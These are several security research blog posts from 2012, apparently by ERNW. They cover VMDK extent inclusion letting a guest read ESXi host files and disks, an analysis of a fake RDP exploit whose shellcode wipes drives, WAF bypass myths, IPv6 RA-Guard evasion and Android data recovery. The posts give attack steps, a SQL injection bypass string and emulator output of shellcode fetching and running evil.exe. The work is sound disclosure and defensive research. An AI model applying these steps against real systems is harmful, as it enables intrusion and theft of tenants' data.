A quick update on the workshop we’ve just finished at Hack in the Box 2012 Amsterdam:
Due to popular demand we decided to bring the slides online without wasting any more time. The official website of the conference is currently experiencing some problems due to high interest in all the stuff what was released in the last two days. Great conference!
Update #1: Slides are available for download here.
In the course of our ongoing cloud security research, we’re continuously thinking about potential attack vectors against public cloud infrastructures. Approaching this enumeration from an external customer’s (speak: attacker’s 😉 ) perspective, there are the following possibilities to communicate with and thus send malicious input to typical cloud infrastructures:
Management interfaces
Guest/hypervisor interaction
Network communication
File uploads
As there are already several successful exploits against management interfaces (e.g. here and here) and guest/hypervisor interaction (see for example this one; yes, this is the funny one with that ridiculous recommendation “Do not allow untrusted users access to your virtual machines.” ;-)), we’re focusing on the upload of files to cloud infrastructures in this post. According to our experience with major Infrastructure-as-a-Service (IaaS) cloud providers, the most relevant file upload possibility is the deployment of already existing virtual machines to the provided cloud infrastructure. However, since a quick additional research shows that most of those allow the upload of VMware-based virtual machines and, to the best of our knowledge, the VMware virtualization file format was not analyzed as for potential vulnerabilities yet, we want to provide an analysis of the relevant file types and present resulting attack vectors.
As there are a lot of VMware related file types, a typical virtual machine upload functionality comprises at least two file types:
VMX
VMDK
The VMX file is the configuration file for the characteristics of the virtual machine, such as included devices, names, or network interfaces. VMDK files specify the hard disk of a virtual machine and mainly contain two types of files: The descriptor file, which describes the specific setup of the actual disk file, and several disk files containing the actual file system for the virtual machine. The following listing shows a sample VMDK descriptor file:
For this post, it is of particular importance that the inclusion of the actual disk file containing the raw device data allows the inclusion of multiple files or devices (in the listing, the so-called “Extent description”). The deployment of these files into a (public) cloud/virtualized environment can be broken down into several steps:
Upload to the cloud environment: e.g. by using FTP, web interfaces, $WEB_SERVICE_API (such as the Amazon SOAP API, which admittedly does not allow the upload of virtual machines at the moment).
Move to the data store: The uploaded virtual machine must be moved to the data store, which is typically some kind of back end storage system/SAN where shares can be attached to hypervisors and guests.
Deployment on the hypervisor (“starting the virtual machine”): This can include an additional step of “cloning” the virtual machine from the back end storage system to local hypervisor hard drives.
To analyze this process more thoroughly, we built a small lab based on VMware vSphere 5 including
an ESXi5 hypervisor,
NFS-based storage, and
vCenter,
everything fully patched as of 2012/05/24. The deployment process we used was based on common practices we know from different customer projects: The virtual machine was copied to the storage, which is accessible from the hypervisor, and was deployed on the ESXi5 using the vmware-cmd utility utilizing the VMware API. Thinking about actual attacks in this environment, two main approaches come to mind:
Fuzzing attacks: Given ERNW’s longtradition in the area of fuzzing, this seems to be a viable option. Still this is not in scope of this post, but we’ll lay out some things tomorrow in our workshop at #HITB2012AMS.
File Inclusion Attacks.
Focusing on the latter, the descriptor file (see above) contains several fields which are worth a closer look. Even though the specification of the VMDK descriptor file will not be discussed here in detail, the most important field for this post is the so-called Extent Description. The extent descriptions basically contain paths to the actual raw disk files containing the file system of the virtual machine and were included in the listing above.
The most obvious idea is to change the path to the actual disk file to another path, somewhere in the ESX file system, like the good ol’ /etc/passwd:
Unfortunately, this does not seem to work and results in an error message as the next screenshot shows:
As we are highly convinced that a healthy dose of perseverance (not to say stubbornness 😉 ) is part of any hackers/pentesters attributes, we gave it several other tries. As the file to be included was a raw disk file, we focused on files in binary formats. After some enumeration, we were actually able to include gzip-compressed log files. Since we are now able to access files included in the VMDK files inside the guest virtual machine, this must be clearly stated: We have/can get access to the log files of the ESX hypervisor by deploying a guest virtual machine – a very nice first step! Including further compressed log files, we also included the /bootbank/state.tgz file. This file contains a complete backup of the /etc directory of the hypervisor, including e.g. /etc/shadow – once again, this inclusion was possible from a GUEST machine! As the following screenshot visualizes, the necessary steps to include files from the ESXi5 host include the creation of a loopback device which points to the actual file location (since it is part of the overall VMDK file) and extracting the contents of this loopback device:
The screenshot also shows how it is possible to access information which is clearly belonging to the ESXi5 host from within the guest system. Even though this allows a whole bunch of possible attacks, coming back to the original inclusion of raw disk files, the physical hard drives of the hypervisor qualify as a very interesting target. A look at the device files of the hypervisor (see next screenshot) reveals that the device names are generated in a not-easily-guessable-way:
Using this knowledge we gathered from the hypervisor (this is heavily noted at this point, we’re relying on knowledge that we gathered from our administrative hypervisor access), it was also possible to include the physical hard drives of the hypervisor. Even though we needed additional knowledge for this inclusion, the sheer fact that it is possible for a GUEST virtual machine to access the physical hard drives of the hypervisor is a pretty big deal! As you still might have our stubbornness in mind, it is obvious that we needed to make this inclusion work without knowledge about the hypervisor. Thus let’s provide you with a way to access to any data in a vSphere based cloud environment without further knowledge:
Ensure that the following requirements are met:
ESXi5 hypervisor in use (we’re still researching how to port these vulnerabilities to ESX4)
Deployment of externally provided (in our case, speak: malicious 😉 ) VMDK files is possible
The cloud provider performs the deployment using the VMware API (e.g. in combination with external storage, which is, as laid out above, a common practice) without further sanitization/input validation/VMDK rewriting.
Deploy a virtual machine referencing /scratch/log/hostd.0.gz
Access the included /scratch/log/hostd.0.gz within the guest system and grep for ESXi5 device names 😉
Deploy another virtual machine referencing the extracted device names
Enjoy access to all physical hard drives of the hypervisor 😉
It must be noted that the hypervisor hard drives contain the so-called VMFS, which cannot be easily mounted within e.g. a Linux guest machines, but it can be parsed for data, accessed using VMware specific tools, or exported to be mounted on another hypervisor under our own administrative control.
Summarizing the most relevant and devastating message in short:
VMware vSphere 5 based IaaS cloud environments potentially contain possibilities to access other customers’ data…
We’ll conduct some “testing in the field” in the upcoming weeks and get back to you with the results in a whitepaper to be found on this blog. In any case this type of attacks might provide yet-another path for accessing other tenants’ data in multi-tenant environments, even though more research work is needed here. If you have the opportunity you might join our workshop at #HITB2012AMS.
Hi @all,
today im releasing a new version of our famous fuzzing framework, dizzy. The version counts 0.6 by now and youll get some brand new features!
see the CHANGELOG:
v0.6:
– ssl support
– server side fuzzing mode
– command output
– new dizz funktions: lambda_length, csum, lambda_csum, lambda2_csum
– recursive mutation mode
– new dizz objects: fill
– new interaction objects: null_dizz
– reconnect option
– additional fuzzing values
find the sources here (90397f9ec11c8ec3db7f14cb4d38dd39e30f9791)
SQL injection attacks have been well known for a long time and many people think that developers should have fixed these issues years ago, but doing web application pentests almost all the time, we have a slightly different view. Many SQL injection problems potentially remain undetecteddue to a lack of proper test methodology, so we would like to share our approach and experience and help others in identifying these issues.
As I mentioned the Telco Sec Day in the last post… for those who missed Flo’s announcement: in the interim all slides of the Telco Sec Day are available online here.
Obviously, given I initiated the event, I’m biased 😉 but to me it provided great insight from both the talks and the networking with other guys from the telco security field, and it did actually what it was meant for: fostering the exchange between different players in that space, for the sake of sustainably improving its’ overall security posture.
A number of participants suggested performing it again which we hence plan to do, at next year’s Troopers (probably happening in the week 03/12-03/16 [calendar week 11]).
As in 2011 we really liked the conference; there was a number of interesting talks and we met quite some fellows from the IPv6 security space. Btw: we plan to organize a dedicated IPv6 security summit in late 2012 (probably on 6th and 7th of November) in Heidelberg, similar to the Telco Sec Day at Troopers. We’ll annouce details as for this one in some weeks.
In march 2012 Microsoft announced a critical vulnerability (Microsoft Security Bulletin MS12-020) related to RDP that affects all windows operating systems and allows remote code execution. A lot of security professionals are expecting almost the same impact as with MS08-067 (the conficker vulnerability) and that it will be only a matter of time, until we will spot reliable exploits in the wild. Only a few days later an exploit, working for all unpatched windows versions was released, so it seems that they were right ;-), but of course no one will run an exploit without investigating the code. So lets have a look into the exploit Code.
First we take a look into the Microsoft advisory to get some information about the vulnerability itself:
The vulnerability requires some “specifically crafted RDP packets” to be sent to the vulnerable system to trigger the problem. We should spot this trigger in the exploit:
OK, the trigger is there and we also see some shellcode, that will open a bindshell on TCP port 8888. The next step is to figure out, what the exploit is doing with this code:
The exploit code converts a lot of opcodes to the big endian format, that looks reasonable because the exploit claims to work on all affected windows versions. The last step is to verifiy, how all the stuff is sent to the vulnerable system:
We see that target IP address and the RDP port are assigned and collected from the command line, the RDP packet is generated and the “specifically crafted RDP packets” are sent to the target.Finally the shellcode is sent and we are ready to connect to a remote shell that listens on TCP port 8888. Game over ;-).
We have verified the exploit, so it’s time now to run it against some unpatched test system and see, if we can compromise all these unpatched boxes out there …
…JUST KIDDING, never ever do that and I’m not talking about the legal issues this time ;-). It is a quite common mistake by unexperienced testers to work in this way. The exploit code was gathered from an untrusted source, so it needs detailed investigations before you run it, not just a short walk-through. You have to ensure that you understand every line of code completely to avoid being targeted by yourself, even the shellcode and the trigger of the rdp example. So let’s digg a little bit deeper into this.
First we have to extract the shellcode and trigger (the opcodes) from the exploit for further analysis. I prefer a special editor for this task that has all needed functionality (and much more 😉 ) built-in. It’s a commercial tool called “010 Editor” that can be obtained here and is available as a windows and MAC OS X version.
Step 1
Copy just the trigger opcodes into a dedicated text file, don’t forget to remove the double quotes. The text files should look almost like this:
trigger:
and shellcode:
Step 2
Use the editors replace function to replace “\x” with “0x” for the trigger and shellcode text files. Take the shellcode as an example, how the opcodes should look now:
Step 3
Mark all this hex data and copy it to the clipboard.
Step 4
Choose “File-New-New Hex File” from the “010 Editors” menu to create an empty hex file.
Step 5
Now choose “Edit-Paste From-Paste from Hex Text” to paste the data as hex data into the new hex file.
Step 6
Save both files (trigger and shellcode) as trigger.sc and shellcode.sc
Now we would be ready to analyze the opcodes with some toolset, but I assume that all of you already spotted some very interesting stuff within the shellcode part ;-):
Yes, it looks like the shellcode doesn’t open a bindshell, it just erases parts of your hard drive on windows and your complete root partition on unix.
This is really GAME OVER, if you would have run the exploit without a detailed analysis on a productive system. This code is referenced with the following code:
But in case that the shellcode wouldn’t have been so easily readable, there are more options for an easy analysis. Based on the shellcode emulation library libemu there are some tools available to find out what the shellcode is doing without reverse engineering it. SCDBG is one that runs on all unix based systems and also on windows, you can grab it here.
Let us see how SCDBG works with a short example shellcode: scdbg -f UrlDownloadToFile.sc
Loaded 150 bytes from file UrlDownloadToFile.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40104bLoadLibraryA(urlmon)
40107aGetTempPath(len=104, buf=12fce4)
4010b2URLDownloadToFile(http://blahblah.com/evil.exe0, C:\%TEMP%\dEbW.exe)
4010bdWinExec(c:\%TEMP%\dEbW.exe)
4010cbExitProcess(626801251)
Stepcount 293883
So the example shellcode downloads a malicious file and executes it, let’s have a look at our shellocde now: scdbg -f shellcode.sc
Loaded 10d bytes from file shellcode.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
401002opcode 69 not supported
Stepcount 2
SCDBG fails to analyze the shellcode (for obvious reasons as we already know), so you can take this result as a good hint, that some stuff is hidden in the code and that you better shouldn’t run it.
Lessons learned
So finally, let’s summarize some lessons that every serious penetration tester should be aware of:
1. Never run any untrusted code (especially exploits) without a detailed analysis.
2. Ensure that you understand every line of code and this also includes the shellcode.
3. Before using untrusted code in a real pentest, verify it in a test environment (virtual machines are a good choice for that).
4. When using exploits on customer systems be aware that you’re running it on one of the assets of your customer! Don’t do that without your customers permission!
5. Your customer trusts your professional knowledge, so it’s your responsibility to avoid damaging any of your customers systems by mistake.
Some days ago a security advisory related to web application firewalls (WAFs) was published on Full Disclosure. Wendel Guglielmetti Henrique found another bug in the IBM Web Application Firewall which can be used to circumvent the WAF and execute typical web application attacks like SQL injection (click here for details). Wendel talked already (look here) at the Troopers Conference in 2009 about the different techniques to identify and bypass WAFs, so this kind of bypass methods are not quite new.
Nevertheless doing a lot of web application assessments and talking about countermeasures to protect web applications there’s a TOP 1 question I have to answer almost every time: “Wouldn’t it be helpful to install a WAF in front of our web application to protect them from attacks?”. My typical answer is “NO” because it’s better to spent the resources for addressing the problems in the code itself. So I will take this opportunity to write some rants about sense and nonsense of WAFs ;-). Let’s start with some – from our humble position – widespread myths:
1. WAFs will protect a web application from all web attacks .
2. WAFs are transparent and can’t be detected .
3. After installation of a WAF our web application is secure, no further “To Dos” .
4. WAFs are smart, so they can be used with any web application, no matter how complex it is .
5. Vulnerabilities in web applications can’t be fixed in time, only a WAF can help to reduce the attack surface.
And now let us dig a little bit deeper into these myths ;-).
1. WAFs will protect a web application from all web attacks
There are different attack detection models used by common WAFs like signature based detection, behavior based detection or a whitelist approach. These detection models are also known by attackers, so it’s not too hard to construct an attack that will pass the detection engines.
Just a simple example for signatures ;-): Studying sql injection attacks we can learn from all the examples that we can manipulate “WHERE clauses” with attacks like “or 1=1”. This is a typical signature for the detection engine of WAFs, but what about using “or 9=9” or even smarter 😉 “or 14<15”? This might sound ridiculous for most of you, but this already worked at least against one WAF 😉 and there are much more leet attacks to circumvent WAFs (sorry that we don’t disclose any vendor names, but this post is about WAFs in general).
Another point to mention are the different types of attacks against web applications, it’s not all about SQL injection and Cross-Site Scripting attacks, there also logic flaws that can be attacked or the typical privilege escalation problem “can user A access data of user B?”. A WAF can’t protect against these attacks, it a WAF can raise the bar for attackers under some circumstances, but it can’t protect a web application from skilled attackers.
2. WAFs are transparent and can’t be detected
In 2009, initially at Troopers ;-), Wendel and Sandro Gauci published a tool called wafw00f and described their approach to fingerprint WAFs in different talks at security conferences. This already proves that this myth is not true. Furthermore there will be another tool release from ERNW soon, so stay tuned, it will be available for download shortly ;-).
3. After installation of a WAF my web application is secure, no further “To Dos”
WAFs require a lot of operational effort just because web applications offer more and more functionality and the main purpose of a web application is to support the organization’s business. WAF administrators have to ensure that the WAF doesn’t block any legitimate traffic. It’s almost the same as with Intrusion Detection and Prevention Systems, they require a lot of fine tuning to detect important attacks and ensure functionality in parallel. History proves that this didn’t (and still doesn’t) work for most IDS/IPS implementations, why should it work for WAFs ;-)?
4. WAFs are smart, so they can be used with any web application, no matter how complex it is
Today’s web applications are often quite complex, they use DOM based communication, web services with encryption and very often they create a lot of dynamic content. A WAF can’t use a whitelist approach or the behavior based detection model with these complex web applications because the content changes dynamically. This reduces the options to the signature based detection model which is not as effective as many people believe (see myth No. 1).
5. Vulnerabilities in web applications can’t be fixed in time, only a WAF can help to reduce the attack surface
This is one of the most common sales arguments, because it contains a lot of reasonable arguments, but what these sales guys don’t tell is the fact, that a WAF won’t solve your problem either ;-).
Talking about risk analysis the ERNW way we have 3 contributing factors: probability, vulnerability and impact. A WAF won’t have any influance on the impact, because if the vulnerability gets exploited there’s still the same impact. Looking at probabilities with the risk analysis view, you have to take care that you don’t consider existing controls (like WAFs 😉 ) because we’re talking about the probability that someone tries to attack your web application and I think that’s pretty clear that the installation of a WAF won’t change that ;-). So there’s only the vulnerability factor left that you can change with the implementation of controls.
But me let me ask one question using the picture of the Fukushima incident: What is the better solution to protect nuclear plants from tsunamis? 1. Building a high wall around it to protect it from the water? 2. Build the nuclear plant at a place where tsunamis can’t occur?
I think the answer is obvious and it’s the same with web application vulnerabilities, if you fix them there’s no need for a WAF. If you start using a Security Development Lifecycle (SDL) you can reach this goal with reasonable effort ;-), so it’s not a matter of costs.
Clarifying these myths of web application firewalls, I think the conclusions are clear. Spend your resources for fixing the vulnerabilities in your web applications instead of buying another appliance that needs operational effort, only slightly reducing the vulnerability instead of eliminating it and also costing more money. We have quite a lot of experience supporting our customers with a SDL and from this experience we can say, that it works effectively and can be implemented more easily than many people think.
You are still not convinced ;-)? In short we will publish an ERNW Newsletter (our newsletter archive can be found here) describing techniques to detect und circumvent WAFs and also a new tool called TSAKWAF (The Swiss Army Knife for Web Application Firewalls) which implements these techniques for practical use. Maybe this will change your mind ;-).
TROOPERS12 came to an end last week on Friday; needless to say it was an awesome event. 😉
The first two days offered workshops on various topics. On Monday Enno, Marc “Van Hauser” Heuse and I gave a one day workshop on “Advanced IPv6 Security”. I think attendees as well as trainers had a real good time during and after the workshop fiddling around with IPv6. Especially Marc had quite some fun as he discovered that we provided “global” IPv6 Connectivity for the conference network, and according to one of his tweets, TROOPERS12 was the first security conference he visited, offering this kind of connectivity.
So back to the topic
Our last posts on IPv6 Security go back to the first half of 2011. If you haven’t read them already, now it’s a good time to do so. You can find them here, here, here and here.
In the last post of the series Enno discussed how RA-Guard can be circumvented with clever use of extension headers. As a short reminder, the packet dump looks like this.
The Information of the upper-layer protocol is only present in the second fragment, so RA Guard does not kick in.
As we found out on the Heise IPv6 Kongress last year, this issue can be mitigated with the following parameter in an IPv6 ACL.
deny ipv6 any any undetermined-transport
As a reminder, this parameter drops all IPv6 packets where the upper-layer protocol information cannot be determined.
After the workshop was officially over, Marc and I played a little bit with this ACL Parameter to see if it is working as intended. So I configured the following IPv6 ACL on our beautiful Cisco 4948E:
4948E(config)#ipv6 access-list IPv6
4948E(config-ipv6-acl)#deny ipv6 any any undetermined-transport
4948E(config-ipv6-acl)#permit ipv6 any any
4948E(config)#interface g1/19
4948E(config-if)#ipv6 traffic-filter IPv6 in
We started the attack again with the following parameter:
Apparently nothing happened with my (IPv6 enabled) laptop (which is a good thing ;))
The corresponding packet dump looked quite unspectacular:
Only the STP packets could be seen, and the flooded router advertisements were dropped by the Switch.
So could this parameter solve the issue with the whole RA mess?
Unfortunately the answer is no. The ACL parameter does mitigate the issue with the fragmented router advertisement. However, the ACL parameter can be circumvented by using overlapping fragments. Unfortunately we couldn’t test this scenario because this wasn’t yet implemented in the THC Tool Suite, but this is just a matter of time…
The IPv6 Packet basically looks like this:
Fragment 1:
IPv6 Header
Fragmentation Header
Destination Header (8 bytes)
ICMPv6 with Echo Request
Fragment 2:
IPv6 Header
Fragmentation Header with offset == 1 (equals position of 8th byte ==
start of Echo Request in first fragment)
ICMPv6 with RA
In this case it depends on the operating system whether or not the packet is discarded when overlapping fragments are detected. RFC 5722 is very specific on how these should be handled:
“When reassembling an IPv6 datagram, if one or more its
constituent fragments is determined to be an overlapping
fragment,the entire datagram (and any constituent fragments,
including those not yet received) MUST be silently discarded.”
So it is up to the operating system to implement this behavior. We’ll see how things work out 😉
If you’re interested in more IPv6 issues, or simply wanna chat about this topic, meet Enno and me again at the Heise IPv6 Kongress this year in Frankfurt, where we will give a talk on IPv6 as well.
Lately there have been some rumors on the full-disclosure mailing list referring to a blogpost of Hatforce about a new method to bypass the PIN/password lock on Android Gingerbread phones.
The approach was to boot into the Recovery Mode and execute a reset to factory state. The ideal result should be a reliable wipe of the /data partition. However, the author managed to recover data after the wiping process. This has been stated as a method on extracting sensitive date without knowing the actual pin or passcode.
This approach was tested on a Nexus S smartphone with Android 2.3.6 assuming the problem could be present on other devices too.
As of our experience this actually affects all Android devices without device encryption. Meanwhile we had more than ten different Android 2.3.x devices from four different vendors. All of them need less than a minute for a factory reset. An actual example is the HTC Desire HD with a 1,1GB /data partition excluding the /cache partition. The factory reset procedure took about 40 seconds, which can hold as an advice to question if this time is actually sufficient to wipe the whole storage. Finally we have been able to recover data after factory-reset devices as part of previous studies.
Besides mentioning that the source code indicates Android devices runnig Android Honeycomb and later effectively wipe data. After looking up in the source code of Android Ice Cream Sandwich we found that the FileWriter class is used for the wipe of the /cache and /data partition. So no indication on overwriting the data here. We assume, that by mentioning the issue as resolved, he was referring to Android Honeycomb device encryption being use, which indeed resolves this issue. This feature has been announced as a new feature anyway.
The fact about getting the data without knowing the PIN however does not really fit the case. From our opinion that’s not a new thought anyway. As long as the storage is not encrypted there always ways to access and read it. My favorite way is to flash the recovery mode with a custom one, e.g. ClockWorkMod By this means it’s possible to run Android Debugging Bridge, su and dd binaries which in return can be used to connect to the device via USB cable and create a raw copy of the storage. Additionally it becomes available to follow the loudness principle and acquire data on a forensic level.
However there is one important aspect mentioned in the blogpost, which we fully agree with: lost device means lost data!
A quick update on the workshop we’ve just finished at Hack in the Box 2012 Amsterdam:
